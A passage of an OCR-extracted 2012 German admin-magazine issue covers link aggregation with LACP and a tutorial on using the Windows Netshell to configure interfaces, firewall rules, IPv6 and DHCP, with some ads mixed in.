beziehungsweise deren drei oder<br />

sechs untersten Bits (least significant<br />

bits). Ein Beispiel einer solchen Auswahl<br />

ist im Kasten „MAC-basierte Lastverteilung“<br />

zu sehen. Weitere Lastverteilungs-Algorithmen<br />

von unterschiedlichen<br />

Switches und Betriebssystemen finden<br />

sich unter [2].<br />

Statisch oder dynamisch?<br />

Bei der statischen Link Aggregation werden<br />

alle Konfigurationsparameter einmalig<br />

auf beiden beteiligten Komponenten<br />

einer LAG eingerichtet. Solange ein Link<br />

einer LAG ’Up’ ist, wird bei statischer<br />

Link Aggregation dieser Link auch für<br />

die Datenübertragung verwendet. Beim<br />

Einsatz von Medienkonvertierern kann<br />

es aber vorkommen, dass der Link am<br />

Switch zwar ’Up’, die Verbindung zum<br />

Switch an der Gegenstelle jedoch unterbrochen<br />

ist. In diesem Fall sendet der<br />

Switch weiterhin Daten über diese Verbindung,<br />

die Datenübertragung ist damit<br />

unterbrochen.<br />

Mehr Kontrolle hat man bei der dynamischen<br />

Link Aggregation mit dem Link<br />

Aggregation Control Protocol (LACP), das<br />

den Austausch von Informationen über<br />

die Link Aggregation zwischen den zwei<br />

beteiligten Mitgliedern erlaubt (Abbildung<br />

3). Diese Informationen werden in<br />

LACPDUs (Link Aggregation Control Protocol<br />

Data Units) verpackt. Jeder einzelne<br />

Switch-Port einer solchen dynamischen<br />

LAG kann als Active LACP oder Passive<br />

LACP konfiguriert werden:<br />

n Passive LACP: Der Port bevorzugt,<br />

von sich aus keine LACPDUs zu übertragen.<br />

Nur wenn die Gegenstelle<br />

Active LACP hat, überträgt der Port<br />

LACPDUs (preference not to speak<br />

unless spoken to).<br />

n Active LACP: Der Port bevorzugt,<br />

LACPDUs zu übertragen und somit<br />

das Protokoll zu sprechen – unabhängig<br />

davon, ob die Gegenstelle Passive<br />

LACP hat oder nicht (a preference to<br />

speak regardless).<br />

Dynamische Link Aggregation mit LACP<br />

bietet <strong>gegen</strong>über der statischen Version<br />

folgende Vorteile:<br />

n Der Ausfall eines physischen Links<br />

wird selbst dann erkannt, wenn die<br />

Punkt-zu-Punkt-Verbindung über einen<br />

Medienkonverter läuft und damit<br />

der Link-Status am Switchport auf<br />

’Up’ bleibt. Da LACPDUs auf dieser<br />

Verbindung damit ausbleiben, wird<br />

dieser Link aus der LAG entfernt. Somit<br />

gehen keine Pakete verloren.<br />

n Die beiden Geräte können sich <strong>gegen</strong>seitig<br />

die LAG-Konfiguration bestätigen.<br />

Bei statischer Link Aggregation<br />

werden Fehler meist nicht so schnell<br />

erkannt.<br />

Betriebssysteme<br />

Linux unterstützt mit dem Mode 4<br />

(802.3ad) des Bonding-Treibers dynamische<br />

Link Aggregation. Auch FreeBSD<br />

bringt alle Voraussetzungen für dynamische<br />

Link Aggregation von Haus aus mit.<br />

Bei Windows hängt es bei allen bisherigen<br />

Versionen inklusive Windows <strong>Server</strong><br />

2008 R2 vom Netzwerkkartentreiber ab,<br />

ob Link Aggregation möglich ist. Windows<br />

<strong>Server</strong> 2012 wird hin<strong>gegen</strong> von sich<br />

aus sowohl statische als auch dynamische<br />

Link Aggregation nach IEEE 802.1ax<br />

unterstützen [5]. VMware ESX/​ESXi 4.0,<br />

4.1 & ESXi 5.x unterstützen Link Aggregation,<br />

allerdings nur statisch [6].<br />

Fazit<br />

Link Aggregation bringt einige Vorteile,<br />

die es zu nutzen lohnt. Die Ein richtung<br />

erfordert nur wenige Schritte, zwei<br />

Links für eine Link Aggregation Group<br />

lassen den Netzwerkverkehr bei einem<br />

Kabel- oder Switchportdefekt aufrecht<br />

bleiben. Auch in Bezug auf eine höhere<br />

Netzwerkbandbreite ist Link Aggregation<br />

gut – aber nicht so gut wie eine fettere<br />

Leitung. (ofr)<br />

n<br />

Infos<br />

[1] IEEE Standard for Local and Metropolitan<br />

Area Networks – Link Aggregation: [http://​<br />

standards. ieee. org/ getieee802/ download/​<br />

802. 1AX‐2008. pdf]<br />

[2] Link Aggregation / Lastverteilungs-<br />

Algorithmen: [http:// www. thomas‐krenn.​<br />

com/ de/ wiki/ Link_Aggregation_Lastverteilungs‐Algorithmen]<br />

[3] Linux Ethernet Bonding Driver<br />

Howto: [http:// www. kernel. org/ doc/​<br />

Documentation/ networking/ bonding. txt]<br />

[4] FreeBSD Handbook, Link Aggregation and<br />

Failover: [http:// www. freebsd. org/ doc/ en/​<br />

books/ handbook/ network‐aggregation.​<br />

html]<br />

[5] Windows <strong>Server</strong> 2012 „<strong>Server</strong> 8 Beta“ NIC<br />

teaming: [http:// blogs. technet. com/ b/​<br />

meamcs/ archive/ 2012/ 04/ 01/ windows‐serv<br />

er‐8‐beta‐nic‐teaming. aspx]<br />

[6] Does ESX/​ESXi 4.0, 4.1 & ESXi 5.x support<br />

802.3ad Dynamic? [http:// kb. vmware. com/​<br />

kb/ 1010270]<br />

Der Autor<br />

Werner Fischer ist seit 2005 Technology Specialist<br />

bei der Thomas-Krenn.AG und Chefredakteur<br />

des Thomas Krenn Wikis.<br />

Seine Arbeitsschwerpunkte<br />

liegen in den Bereichen<br />

Hardware-Monitoring, Virtualisierung,<br />

I/​O Performance<br />

und Hochverfügbarkeit.<br />

26 Ausgabe 04-2012 Admin www.admin-magazin.de


IT-Leistungen für Ihr Business<br />

Innovativ, sicher und individuell – Unsere IT-Produkte und Services überzeugen seit<br />

über 20 Jahren durch Qualität und Performance. KAMP entwickelt Lösungen für eine<br />

sichere und leistungsstarke IT. Unsere Experten informieren und beraten Sie gerne<br />

unter 0208.89402-35 persönlich. KAMP – wir verbinden die Zukunft.<br />

www.kamp.de


Netzwerk<br />

Netshell<br />

© Christian Delbert, 123RF<br />

Die Netshell optimal nutzen<br />

Schweizer<br />

Netzwerkmesser<br />

Windows bietet viele Möglichkeiten für die Netzwerkkonfiguration in der grafischen Oberfläche. Wer aber alle<br />

Funktionen ausloten möchte, muss auf der Kommandozeile die Netshell nutzen. Sie ermöglicht die Konfiguration<br />

diverser zusätzlicher Parameter des TCP/​IP-Stacks und der Netzwerkdienste. Eric Amberg<br />

Die Netshell ist seit Windows 2000 fester<br />

Bestandteil jeder Windows-Version. Sie<br />

basiert auf einem Kernprogramm, das<br />

sich durch sogenannte Netshell-Helper<br />

erweitern lässt. Diese Helper sind Bibliotheken<br />

(DLL-Dateien), die über die Netshell-API<br />

auch erweitert werden können.<br />

Mit der Netshell können Sie zum Beispiel<br />

die folgenden Aufgaben erledigen:<br />

n Netzwerkschnittstellen konfigurieren<br />

n Windows-Firewall konfigurieren<br />

n Anzeigen diverser Netzwerk-Parameter<br />

n Konfiguration von Netzwerkdiensten<br />

n IPv6 konfigurieren<br />

Die Netshell steht sowohl auf Client- als<br />

auch auf <strong>Server</strong>varianten von Windows<br />

zur Verfügung. Wird auf einem Windows-<br />

<strong>Server</strong> ein zusätzlicher Netzwerkdienst,<br />

wie DHCP installiert, stellt Windows in<br />

einigen Fällen einen entsprechenden<br />

Netshell-Helper bereit, um diese Komponente<br />

über Netshell steuern zu können.<br />

Sie können die Netshell auf zwei Arten<br />

verwenden. Zum einen ist es möglich,<br />

jedes Netshell-Kommando komplett in<br />

einer Zeile aufzurufen. Dies bietet sich<br />

insbesondere für Batch-Skripts an. Alternativ<br />

stellt die Netshell eine interaktive<br />

Umgebung bereit, in der Sie Befehle<br />

eingeben können. Diese Variante stellt<br />

umfassende Hilfen bereit, um sich auch<br />

als Einsteiger zurechtzufinden.<br />

Sie gelangen in diese Umgebung durch<br />

Eingabe von »netsh« in der Eingabeaufforderung.<br />

Beachten Sie unter Windows<br />

Vista und Windows 7, dass die Eingabeaufforderung<br />

mit erhöhten Rechten aufgerufen<br />

werden muss, wenn Sie in der<br />

Netshell die Systemkonfiguration ändern<br />

möchten.<br />

Auf den Kontext kommt<br />

es an<br />

Bei der Arbeit mit dem Programm ist es<br />

wichtig, die Struktur der Netshell zu verstehen,<br />

die auf Kontexten basiert, die die<br />

die einzelnen Netshell-Helper repräsentieren.<br />

Jeder Kontext bezieht sich auf eine<br />

bestimmte Netzwerk-Funktionalität wie<br />

zum Beispiel IP-, Firewall-, IPSec- oder<br />

DHCP-Client-Konfiguration. Abbildung 1<br />

zeigt die Ausgabe der Hilfe-Funktion, die<br />

zu jeder Zeit durch Eingabe des Fragezeichens<br />

»?« aufgerufen werden kann.<br />

In der interaktiven Oberfläche können<br />

Sie zwischen den einzelnen Kontexten<br />

wechseln. Welche Kontexte zur Verfügung<br />

stehen, zeigt die untere Sektion der<br />

Hilfeausgabe mit dem Titel »Folgende Unterkontexte<br />

sind verfügbar«. In der Hilfe<br />

finden Sie darüber hinaus alle Befehle,<br />

die grundsätzlich und im jeweiligen Kontext<br />

verfügbar sind. Die Liste der Befehle<br />

enthält auch diejenigen Kommandos, die<br />

in einen anderen Kontext führen.<br />

Orientierungshilfe<br />

Der Netshell-Prompt zeigt den jeweiligen<br />

Kontext an. Wechseln Sie zum Beispiel<br />

durch Eingabe von »interface« in<br />

den Interface-Kontext, gibt der Prompt<br />

»netsh interface>« aus. Die Ebenen sind<br />

hierarchisch gegliedert. Innerhalb eines<br />

Kontextes können Sie in den Unterkontext<br />

eines Befehls wechseln. So bietet<br />

zum Beispiel der Kontext »Interface« den<br />

Befehl »ipv4«. Auch hier zeigt der Prompt<br />

mit »netsh interface ipv4>« die Ebene<br />

an. Durch Eingabe von zwei Punkten »..«<br />

gelangen Sie in die jeweils übergeordnete<br />

Ebene. Analog zur Windows-Eingabeauf-<br />

28 Ausgabe 04-2012 Admin www.admin-magazin.de


Netshell<br />

Netzwerk<br />

forderung können Sie durch<br />

die Cursor-auf- und Cursorab-Tasten<br />

durch die Befehlshistorie<br />

navigieren.<br />

Ich zeig dir, wie<br />

es geht<br />

Neben der allgemeinen Hilfe,<br />

die die verfügbaren Befehle<br />

zeigt, verfügt die Netshell<br />

auch über eine detaillierte<br />

Hilfeausgabe für jeden einzelnen<br />

Befehl. Befinden Sie<br />

sich zum Beispiel im Kontext<br />

»netsh interface ipv4« und<br />

geben »set ?« ein, zeigt die<br />

Net shell die verfügbaren weiteren<br />

Befehle (Abbildung 2).<br />

Doch Achtung: »set« ist kein<br />

eigener Unterkontext, sondern<br />

ein Befehl mit weiteren<br />

Unterbefehlen und Parametern.<br />

Geben Sie »set« ein,<br />

bleibt der Kontext gleich.<br />

Stattdessen müssen Sie, nachdem<br />

Sie die Hilfeausgabe studiert<br />

haben, den Befehl mit<br />

gewünschtem Unterbefehl<br />

angeben, zu dem Sie jedoch<br />

wiederum Hilfe erhalten können.<br />

So zeigt die Eingabe von<br />

»set addresse ?« eine ausführliche<br />

Syntax-Beschreibung zu<br />

eben jenem Kommando, wie<br />

in Abbildung 3 zu sehen.<br />

Dabei werden dankenswerterweise<br />

auch Beispiele angegeben,<br />

die den Einsatz des<br />

jeweiligen Netshell-Befehls<br />

verdeutlichen.<br />

Zur Praxis<br />

Im Folgenden zeigt dieser<br />

Artikel einige typische Aufgabenstellungen,<br />

die Sie mit<br />

der Netshell konsolenbasiert<br />

lösen können. Während die<br />

eine oder andere Aufgabe<br />

auch in der GUI mit Dialogfenstern<br />

zu bewerkstelligen<br />

ist, gibt es andere Aufgaben,<br />

für die die Netshell der einzige<br />

Weg ist. Dies bezieht<br />

sich zum Beispiel auf diverse<br />

Einstellungen für IPv6 oder<br />

Branchcache. Insbesondere<br />

die Show-Befehle zeigen Details,<br />

die Ihnen die grafische<br />

Oberfläche vorenthält.<br />

Für die Konfiguration und<br />

Bearbeitung der Netzwerkschnittstellen<br />

Ihres Systems<br />

wechseln Sie in den Kontext<br />

»netsh interface ipv4«. Dort<br />

können Sie sich zunächst<br />

durch die Eingabe des Befehls<br />

»show config« einen<br />

Überblick verschaffen. Die<br />

Ausgabe zeigt die IP-Adresskonfiguration<br />

in einer ähnlichen<br />

Weise wie »ipconfig« in<br />

der Eingabeaufforderung.<br />

Möchten Sie die Interface-<br />

Konfiguration anpassen,<br />

sind oft mehrere Konfigurationsbefehle<br />

notwendig. Das<br />

folgende Beispiel zeigt, wie<br />

Sie einige Parameter für die<br />

Standard-Ethernet-Schnittstelle<br />

setzen: IP-Adresse<br />

10.10.1.20, Subnetzmaske<br />

255.255.255.0, Standardgateway<br />

10.10.1.1 und als DNS-<br />

<strong>Server</strong> 10.10.1.254.<br />

Schnittstelle<br />

Den Namen der entsprechenden<br />

Schnittstelle ermitteln<br />

Sie wie gezeigt mit »show<br />

config«n. In der deutschen<br />

Version von Windows heißt<br />

die erste Ethernet-Schnittstelle<br />

»LAN‐Verbindung«. Die<br />

ersten drei Parameter setzen<br />

Sie mit dem Befehl<br />

netsh interface ipv4 set U<br />

address "LAN‐Verbindung" U<br />

static 10.10.1.20 255.255.255.U<br />

0 10.10.1.1<br />

Ist der Befehl erfolgreich,<br />

gibt die Netshell nichts aus,<br />

ansonsten erhalten Sie eine<br />

Meldung, die einen Hinweis<br />

auf den Fehler liefert.<br />

Um nun noch den oder die<br />

DNS-<strong>Server</strong> zu konfigurieren<br />

ergänzen Sie den folgenden<br />

Befehl:<br />

set dnsservers "LAN‐Verbindung"U<br />

static 10.10.1.254.<br />

E<br />

Abbildung 1: Die interaktive Netshell bietet eine eingebaute Hilfe-Funktion.<br />

Abbildung 2: Set-Befehle im Kontext eines IPv4-Interfaces.<br />

Abbildung 3: Die zum Einstellen einer IPv4-Adresse verfügbaren Befehle.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

29


Netzwerk<br />

Netshell<br />

Beachten Sie, dass die Netshell den angegebenen<br />

DNS-<strong>Server</strong> sofort prüft und<br />

eine Warnmeldung ausgibt, wenn der<br />

DNS-<strong>Server</strong> nicht erreichbar ist. Der Eintrag<br />

wird unabhängig davon in jedem<br />

Fall vorgenommen, wie Sie sich im Anschluss<br />

durch Eingabe des Kommandos<br />

»ipconfig /all« in einer separaten Eingabeaufforderung<br />

überzeugen können. Die<br />

Änderungen werden übrigens dauerhaft<br />

übernommen.<br />

Mehrwert<br />

Soweit hätten Sie das auch problemlos in<br />

der grafischen Eingabemaske der IPv4-<br />

Konfiguration der Schnittstelle vornehmen<br />

können. Mit der Netshell können<br />

Sie aber auch spezielle Parameter festlegen,<br />

die in keiner GUI-Maske auftauchen.<br />

Hierzu gehören Tuning-Werte für<br />

den TCP/​IP-Stack und Sicherheitseinstellungen.<br />

So können Sie zum Beispiel mit<br />

dem Befehl<br />

set global icmpredirects=disabled<br />

im Kontext »netsh interface ipv4« festlegen,<br />

dass das System nicht auf ICMP-<br />

Redirect-Meldungen reagiert, die eine Änderung<br />

des Routings bewirken und daher<br />

in puncto Sicherheit bedenklich sind.<br />

Sie können Werte auch ergänzen oder<br />

löschen. Möchten Sie einen weiteren<br />

DNS-<strong>Server</strong> hinzufügen, so lautet der Befehl<br />

»add dnsservers "LAN‐Verbindung"<br />

10.10.200.100 index=2«, wobei der Index<br />

die Priorität angibt. Haben Sie sich<br />

vertan, löschen Sie den DNS-<strong>Server</strong> mit<br />

»delete dnsservers "LAN‐Verbindung"<br />

10.10.200.100«. Überprüfen Sie mit »ipconfig<br />

/all« die Ergebnisse der Konfigurationsschritte.<br />

Auch die Netshell hat ihre Grenzen. So<br />

ist es zum Beispiel nicht möglich, das<br />

DNS-Suffix zu ändern. Möchten Sie dies<br />

ohne GUI anpassen, benötigen Sie andere<br />

Tools wie »netdom« oder die Gruppenrichtlinien.<br />

Beides funktioniert nur in<br />

Active-Directory-Domänenumgebungen.<br />

Die Windows-Firewall<br />

anpassen<br />

Windows <strong>Server</strong> 2003 die alte Windows-<br />

Firewall ihren Dienst tat, existiert seit<br />

Windows Vista und Windows <strong>Server</strong><br />

2008 die „Windows Firewall mit erweiterter<br />

Sicherheit“. Für sie existiert ein<br />

eigenes Snap-In für die grafische Administrationskonsole<br />

(Abbildung 4). Doch<br />

in Fällen, in denen entweder skriptbasiert<br />

oder mangels grafischer Oberfläche mit<br />

der Kommandozeile gearbeitet werden<br />

muss (typischerweise im Windows <strong>Server</strong><br />

Core), hilft die Netshell weiter.<br />

Durch Eingabe von »advfirewall« gelangen<br />

Sie in den Kontext für die erweiterte<br />

Firewall. Der Befehl »show currentprofile«<br />

zeigt grundlegende Einstellungen<br />

zum <strong>gegen</strong>wärtigen Netzwerkprofil,<br />

das seit Windows Vista zwischen Heimnetzwerk,<br />

Arbeitsplatz, Öffentlich und<br />

Domäne unterschieden wird. Die Hilfe<br />

rufen Sie wie gewohnt über »show ?«<br />

auf. Sie zeigt, dass Sie in diesem Kontext<br />

jedes Profil einzeln anzeigen lassen, aber<br />

auch alle Profile in der Übersicht aufrufen<br />

können.<br />

Möchten Sie Firewall-Regel konfigurieren,<br />

wechseln Sie in den Subkontext<br />

»firewall«. Der Prompt zeigt nun »netsh<br />

advfirewall firewall>«. Hier können Sie<br />

sich Firewall-Regeln anzeigen, erstellen,<br />

ändern und löschen. Die Schwierigkeit<br />

liegt darin, die entsprechende Regel beziehungsweise<br />

ihren Namen zu ermitteln.<br />

Mit »show rule all« können Sie sich alle<br />

Regeln anzeigen lassen, sollten jedoch<br />

auf eine ziemlich lange Liste gefasst sein,<br />

da nicht nur alle eingehenden und ausgehenden<br />

Regeln, sondern auch alle Profile<br />

angezeigt werden. Ein Beispiel für die<br />

Ausgabe einer Regel zeigt Abbildung 5.<br />

Regelbasiert<br />

In vielen Fällen ist die benötigte Regel bereits<br />

vorhanden, aber deaktiviert. Möchten<br />

Sie zum Beispiel die Regel »Windows‐Firewallremoteverwaltung<br />

(RPC)«<br />

aktivieren, nutzen Sie den Befehl »set<br />

rule "Windows‐Firewallremoteverwaltung<br />

(RPC)" new enable=yes«. In diesem<br />

Fall liefert die Netshell unter Umständen<br />

sogar eine Antwort, wie zum Beispiel<br />

»2 Regel(n) wurde(n) aktualisiert. OK«.<br />

Dies kommt daher, dass dieselbe Regel<br />

für zwei verschiedene Profile bereitgestellt<br />

wurde. Viele Standardregeln sind<br />

in Gruppen organisiert. Durch Angabe<br />

der Gruppe können alle zugehörigen<br />

Regeln zugleich bearbeitet werden. Die<br />

Beispielregel gehört der Gruppe »Windows‐Firewallremoteverwaltung«<br />

an. Alle<br />

zugehörigen Regeln können somit auf<br />

einmal aktiviert werden:<br />

set rule group="Windows‐FirewallremoteU<br />

verwaltung" new enable=yes<br />

Beachten Sie, dass in vielen Quellen und<br />

Tutorials die englischen Bezeichnungen<br />

genannt werden. Sie funktionieren auf einem<br />

deutschsprachigen Windows nicht.<br />

Eine weitere Aufgabe, die häufig über<br />

die Netshell durchgeführt wird, ist die<br />

Anpassung der Windows-Firewall. Während<br />

bis Windows XP beziehungsweise<br />

Abbildung 4: Für die neue Windows-Firewall gibt es ein grafisches Administrations-Snap-In.<br />

30 Ausgabe 04-2012 Admin www.admin-magazin.de


Möchten Sie eine neue Regel erstellen,<br />

haben Sie die Auswahl aus einer Fülle an<br />

Parametern. Mit »set rule ?« können Sie<br />

die Syntax aufrufen und einige grundlegende<br />

Beispiele studieren. Das folgende<br />

Beispiel zeigt die Erstellung einer Regel,<br />

die Netzwerktraffic auf den lokalen<br />

HTTP-Port 80/​tcp vom Netz 192.168.1.0/​<br />

24 zulässt und für das Domänenprofil<br />

gilt:<br />

Sie gelangen in den IPv6-Kontext analog<br />

zu IPv4 durch Eingabe von »interface<br />

ipv6« und befinden sich anschließend im<br />

Kontext »netsh interface ipv6«. Der Befehl<br />

»show route« zeigt die IPv6-Routing-<br />

Tabelle an. Der Befehl »show addresses«<br />

listet die IPv6-Adressen für alle Schnittstellen<br />

auf. Die Ausgabe umfasst auch<br />

spezielle Adressen, die von »ipconfig /<br />

all« nicht angezeigt werden.<br />

add rule name="Lokaler Webserver" dir=inU<br />

action=allow profile=domain localip=any U<br />

remoteip=192.168.1.0/24 localport=80 U<br />

remoteport=1024‐65535 protocol=tcp<br />

Dies legt den Namen der Regel als »Lokaler<br />

Webserver« fest, wobei die Richtung<br />

der Regel (»dir«) eingehend (»in«) ist.<br />

Der Remoteport ist der Bereich zwischen<br />

1024 und 65535, da es sich hierbei um<br />

die von Client-Applikationen regulär genutzten<br />

Ports handelt. Weitere Beispiele<br />

finden Sie in der Ausgabe der Hilfe zu<br />

»add rule«.<br />

IPv6 konfigurieren<br />

IPv6 bringt einige neue Konzepte und<br />

Features mit, die eine spezielle Konfiguration<br />

erfordern. Zwar bieten die Konfigurationsdialogfenster<br />

der Netzwerkschnittstellen<br />

seit Windows Vista auch<br />

die Grundkonfiguration von IPv6, jedoch<br />

werden Sie in der Praxis oft nicht umhinkommen,<br />

mit der Netshell zusätzliche<br />

Parameter anzupassen. Darüber hinaus<br />

lassen sich diverse Zustände von IPv6<br />

nur in der Netshell anzeigen, so zum Beispiel<br />

die Routing-Tabelle, die in älteren<br />

Windows-Versionen noch nicht mit »netstat<br />

‐nr« beziehungsweise »route print«<br />

angezeigt wird.<br />

Unicast und Anycast<br />

Für eine detaillierte Konfiguration von<br />

IPv6 sind entsprechende weiterführende<br />

Parameter notwendig. Möchten Sie eine<br />

globale Unicast-Adresse für die Schnittstelle<br />

»LAN‐Verbindung« setzen, nutzen<br />

Sie den Befehl »add address "LAN‐Verbindung"<br />

2001:db8:10::5«. Die Angabe einer<br />

Subnetzmaske entfällt, da die Grenze<br />

zwischen Netz- und Hostanteil bei IPv6-<br />

Adressen immer bei 64 Bit liegt. Beachten<br />

Sie, dass Sie einer einzelnen Schnittstelle<br />

mehrere IPv6-Adressen zuweisen<br />

können. Eine IPv6-Anycast- Adresse<br />

2001:db8:aa:bb:cc::1 ergänzen Sie durch<br />

den folgenden Befehl:»add address<br />

2001:db8:aa:bb:cc:1 type=anycast«.<br />

Eines der wichtigsten Features bei IPv6<br />

ist die Auto-Konfiguration, wodurch sich<br />

ein IPv6-System eine global eindeutige<br />

IPv6-Adresse selbst vergeben kann. In<br />

der ursprünglichen Version integrieren<br />

diese Adressen die MAC-Adresse der jeweiligen<br />

Schnittstelle und ermöglichen so<br />

eine weltweite Nachverfolgbarkeit. Um<br />

dies zu verhindern, wurden die Privacy-<br />

Extensions [1], sogenannte temporäre<br />

Adressen, eingeführt. Hier werden die<br />

automatischen Adressen derart gebildet,<br />

dass eine Rückverfolgung anhand der<br />

Abbildung 5: Die Netshell kann auch Firewalls verwalten. Hier die Anzeige einer Regel.<br />

HPC meets Cloud -<br />

The International Conference<br />

on the Use of Cloud for High<br />

Performance Computing (HPC)<br />

Register Today!<br />

www.isc-events.com/cloud12<br />

Keynote:<br />

The Helix Nebula Initiative<br />

Bob Jones – CERN<br />

Rupert Lueck – EMBL<br />

Wolfgang Lengert – ESA<br />

Highlights:<br />

Industrial Cloud - Best Practices<br />

Research Cloud - User Experiences<br />

Engineering Clouds -<br />

Commercial Software in the Cloud<br />

Big Data Cloud Computing<br />

Panel: HPC Cloud Challenges<br />

Vendor Panel with Sponsors<br />

Interactive BoFs on Hot Topics of HPC<br />

Full Catering<br />

Get Together Networking Party<br />

www.admin-magazin.de<br />

Ausgabe 04-2012<br />

31


Netzwerk<br />

Netshell<br />

Abbildung 6: Auch der DHCP-<strong>Server</strong> lässt sich mit der Netshell konfigurieren. Hier das Ergebnis in der<br />

Management-Konsole.<br />

MAC-Adresse nicht mehr möglich ist.<br />

Ob diese Privacy-Extensions auf Ihrem<br />

System aktiviert sind, ermitteln Sie mit<br />

»show privacy«. Sie aktivieren dieses<br />

Feature mit »set privacy state=enabled«.<br />

Der Aufruf »set privacy state=disabled«<br />

schaltet es aus und aktiviert wieder das<br />

ursprüngliche EUI-64-Format.<br />

Die temporären Adressen haben nur eine<br />

gewisse Zeit lang Gültigkeit, bevor sie<br />

erneuert werden müssen. Möchten Sie<br />

die dafür zuständigen Parameter tunen,<br />

können Sie dies ebenfalls durch »set privacy«<br />

tun, die Hilfe rufen Sie wie üblich<br />

mit »set privacy ?« auf. Hier finden Sie die<br />

vorhandenen Parameter wie »maxvalidlifetime«<br />

oder »maxpreferredlifetime«, die<br />

das Verhalten der temporären Adressen<br />

regeln.<br />

Netshell serverseitig<br />

Installieren Sie auf einem Windows-<br />

<strong>Server</strong> bestimmte Dienste, werden zum<br />

Teil Netshell-Helper für entsprechende<br />

Kontexte mitinstalliert, die eine Verwaltung<br />

der betreffenden <strong>Server</strong>komponente<br />

ermöglichen. Zum Beispiel gibt es für<br />

den DHCP-<strong>Server</strong>dienst einen Kontext<br />

namens »dhcp« in der Auswahl der Befehle.<br />

Die Netshell zur Konfiguration von<br />

<strong>Server</strong>diensten zu nutzen, bietet sich insbesondere<br />

bei langsamen WAN-Anbindungen<br />

oder bei einer großen Anzahl<br />

an <strong>Server</strong>n an, die sich dann mithilfe<br />

von Skripts einheitlich und automatisiert<br />

konfigurieren lassen.<br />

Wollen Sie zum Beispiel den DHCP-<strong>Server</strong><br />

konfigurieren, müssen Sie ihn zunächst<br />

im Active Directory autorisieren. Dies<br />

geschieht im Kontext »nethsh dhcp>«<br />

mit dem Befehl »add server server1.windschief.local<br />

192.168.1.50«. Dabei ist der<br />

vollqualifizierte Domänenname sowie die<br />

IP-Adresse des <strong>Server</strong>s nötig. Anschließend<br />

können Sie einen Bereich (Scope)<br />

angeben, aus dem der DHCP-<strong>Server</strong> seine<br />

Adressen vergeben kann. Das folgende<br />

Beispiel zeigt die Erstellung eines Bereiches<br />

namens »Test«:<br />

server 192.168.1.50 add scope 192.168.1.0U<br />

255.255.255.0 Test<br />

Anschließend können Sie den Adressbereich<br />

festlegen:<br />

server 192.168.1.50 scope 192.168.1.0 U<br />

add iprange 192.168.1.100 192.168.1.200<br />

Für den Netzbereich geben Sie die erste<br />

und die letzte IP-Adresse an. Der folgende<br />

Befehl setzt nun noch ein Standardgateway.<br />

Die entsprechende Option<br />

ist »003«:<br />

server 192.168.1.50 scope 192.168.1.0 U<br />

optionvalue 003 ipaddress 192.168.1.254<br />

Schließlich müssen Sie den Bereich noch<br />

aktivieren: »server 192.168.1.50 scope<br />

192.168.1.0 set state 1«. Wer nun mit der<br />

Management-Konsole des DHCP-<strong>Server</strong>s<br />

vergleicht, stellt fest, dass der Bereich<br />

entsprechend eingerichtet wurde und aktiv<br />

ist (Abbildung 6).<br />

Tipps und Fazit<br />

Die Netshell verwendet Kontexte, arbeitet<br />

modular und hierarchisch. Da die<br />

Netshell zwei Modi unterstützt, ist die<br />

Nutzung des Tools anfangs etwas gewöhnungsbedürftig.<br />

Sie können sämtliche<br />

Befehle komplett in einer Zeile eingeben,<br />

wie es etwa für eigene Skripts nötig<br />

ist. In diesem Modus gibt die Netshell<br />

einen Hilfetext aus, der den Anwender<br />

den richtigen Aufruf dokumentiert. In der<br />

interaktiven Shell ist es jedoch deutlich<br />

einfacher, sich durch die einzelnen Ebenen<br />

zu arbeiten.<br />

Interessanterweise hat Microsoft hier<br />

bewährte Konzepte übernommen. Gerade<br />

das Command Line Interface von<br />

Ciscos Internet Operating System (IOS)<br />

stand hier nicht selten Pate: Zum einen<br />

werden Show-Befehle zum Anzeigen der<br />

verschiedenen Konfigurationen genutzt,<br />

zum anderen ist es nicht notwendig, jeden<br />

Befehl komplett auszusschreiben.<br />

Stattdessen reicht es, den Befehl bis zu<br />

seiner Eindeutigkeit zu schreiben. Mit<br />

»netsh int ip show a« erhalten Sie dasselbe<br />

Ergebnis wie mit »netsh interfaces<br />

ipv4 show addresses«.<br />

Die Netshell ist ein nützliches Werkzeug<br />

für die Netzwerkkonfiguration. Mit ihr<br />

ist an vielen Stellen ein Tuning des Netzwerk-Stack<br />

möglich, das die grafischen<br />

Dialogfenster nicht hergeben. Andererseits<br />

muss der Administrator abwägen, ob<br />

die Arbeit mit der Netshell im Einzelfall<br />

wirklich einen Mehrwert bringt, da gerade<br />

Bandbreiten-Argumente für Remote-<br />

Administration eine abnehmende Rolle<br />

spielen. Fast alle Management-Snap-Ins<br />

unterstützen die Verbindung zu anderen<br />

<strong>Server</strong>n mittels RPC. In diesem Fall<br />

spielt die Bandbreite nur eine untergeordnete<br />

Rolle. Die Arbeit mit der Netshell<br />

ist trotzdem in jedem Falle lohnenswert,<br />

denn ein fundiertes Verständnis ihrer<br />

Funktionsweise hilft in Zeiten, da Tuning<br />

und Konfiguration über die Netshell<br />

notwendig werden. (ofr)<br />

n<br />

Infos<br />

[1] IPv6 Privacy Extensions: RFC 4941<br />

Der Autor<br />

Eric Amberg ist Geschäftsführer der ATRACON<br />

GmbH ([http:// www. atracon. de]), seit vielen<br />

Jahren im Bereich IT-Infrastruktur als Trainer<br />

und Consultant tätig und verfügt über langjährige<br />

Projekterfahrung. Sein<br />

besonderer Fokus liegt auf<br />

Netzwerk-Themen. In seinen<br />

Seminaren legt er großen<br />

Wert auf eine praxisnahe<br />

Schulung.<br />

32 Ausgabe 04-2012 Admin www.admin-magazin.de


VIRTUAL POWER &<br />

VOLLER ROOT-ZUGRIFF<br />

Virtual <strong>Server</strong> von HOST EUROPE<br />

Profitieren Sie von garantierten Hardware-Ressourcen, vollem<br />

Root-Zugriff sowie dem Webinterface Parallels® Plesk Panel für<br />

die komfortable <strong>Server</strong>-Administration.<br />

Virtual <strong>Server</strong> Linux<br />

Betriebssyteme<br />

Garantierte CPU-Power<br />

Garantiertes RAM<br />

Speicherplatz (RAID10)<br />

Snapshot Backups<br />

Debian, CentOS, Ubuntu<br />

bis zu 4 x 1,5 GHz<br />

bis zu 8 GB<br />

bis zu 500 GB<br />

inklusive<br />

Vollständige Webserverumgebung:<br />

Apache 2, MySQL 5 und PHP5 sind für Sie<br />

bereits vorinstalliert.<br />

Host Europe SSL-Zertifikat gratis**<br />

Mehr Sicherheit inklusive: Bei der Bestellung<br />

eines Virtual <strong>Server</strong> erhalten Sie das Zertifikat<br />

Host Europe SSL kostenlos.<br />

Virtual <strong>Server</strong> Linux ab<br />

€12, 99<br />

